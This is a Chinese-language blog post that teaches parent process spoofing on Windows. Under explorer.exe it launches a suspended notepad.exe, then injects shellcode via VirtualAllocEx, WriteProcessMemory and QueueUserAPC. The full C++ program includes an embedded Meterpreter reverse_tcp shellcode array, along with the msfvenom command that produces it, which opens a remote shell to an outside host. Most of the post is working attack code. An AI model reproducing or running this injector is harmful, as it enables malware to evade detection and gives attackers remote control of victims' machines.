Drunkmars's Blog

父进程伪造

字数统计: 1.5k阅读时长: 8 min
2021/10/04

本文将介绍并实现父进程伪造。

伪造父进程主要用以下几个关键点

寻找explorer.exe的pid,打开文件管理器的进程获取句柄 (寻找你要伪造进程的PID)

初始化指定的属性列表以创建进程和线程

设置进程属性

那么根据这几个关键点需要用到的api有

OpenProcess

InitializeProcThreadAttributeList

CreateProcess

还有个重要的结构体:STARTUPINFOEXA

1
2
3
4
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
1
StartupInfo

A STARTUPINFO structure.

1
lpAttributeList

An attribute list. This list is created by the InitializeProcThreadAttributeList function.

InitializeProcThreadAttributeList

用于初始化指定的属性列表以创建进程和线程

1
2
3
4
5
6
BOOL InitializeProcThreadAttributeList(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwAttributeCount,
DWORD dwFlags,
PSIZE_T lpSize
);
1
lpAttributeList

The attribute list. This parameter can be NULL to determine the buffer size required to support the specified number of attributes.

1
dwAttributeCount

The count of attributes to be added to the list.

1
dwFlags

This parameter is reserved and must be zero.

1
lpSize

If lpAttributeList is not NULL, this parameter specifies the size in bytes of the lpAttributeList buffer on input. On output, this parameter receives the size in bytes of the initialized attribute list.

If lpAttributeList is NULL, this parameter receives the required buffer size in bytes.\

image-20211004151223985

首先找到explorer.exe的pid,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DWORD getParentProcessID() 
{ //返回explorer.exe的pid
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);

if (Process32First(snapshot, &process))
{
do
{
//If you want to another process as parent change here
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}

CloseHandle(snapshot);
return process.th32ProcessID;
}

然后就是父进程伪造的代码,首先OpenProcess打开进程,这里调用之前写的getParentProcessID获取PID

1
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); 

然后ZeroMemory置空

1
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); 

使用InitializeProcThreadAttributeList 为线程进程创建初始化指定的属性列表,注意第三个参数保留必须为0

1
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);

HeapAlloc在堆里面分配内存,GetProcessHeap检索调用进程默认堆的句柄

1
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); 

然后更新指令属性

1
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); 

创建进程

1
2
3
4
5
6
7
8
9
10
CreateProcessA("C:\\Windows\\System32\\notepad.exe", 
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
&pInfo);

分配内存并写入内存

1
2
3
4
5
6
7
//分配内存
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

SIZE_T* lpNumberOfBytesWritten = 0;

//写入内存
BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

进行APC调用

1
2
//APC调用
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);

启动线程

1
ResumeThread(pInfo.hThread); 

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

DWORD getParentProcessID()
{ //返回explorer.exe的pid
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);

if (Process32First(snapshot, &process))
{
do
{
//If you want to another process as parent change here
if (!wcscmp(process.szExeFile, L"explorer.exe"))
{
printf("Find explorer failed!\n");
break;
}
} while (Process32Next(snapshot, &process));
}

CloseHandle(snapshot);
return process.th32ProcessID;
}

int main()
{

//Shellcode, for example: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c
unsigned char shellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x71\x91\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

STARTUPINFOEXA sInfoEX;
PROCESS_INFORMATION pInfo;
SIZE_T sizeT;

//打开explorer进程获取当前进程所有权限
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());

//用0填充数组
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));

//初始化指定的属性列表,创建进程和线程
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);

//设置进程属性并从堆中分配内存
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);

InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);

//更新用于进程和线程创建的属性列表中的指定属性
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);

sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA("C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
&pInfo);

//分配内存
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

SIZE_T* lpNumberOfBytesWritten = 0;

//写入内存
BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

//APC调用
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);

//启动线程
ResumeThread(pInfo.hThread);
CloseHandle(pInfo.hThread);

return 0;
}

这里启动的是notepad.exe,实现效果如下

Parent spoofing

CATALOG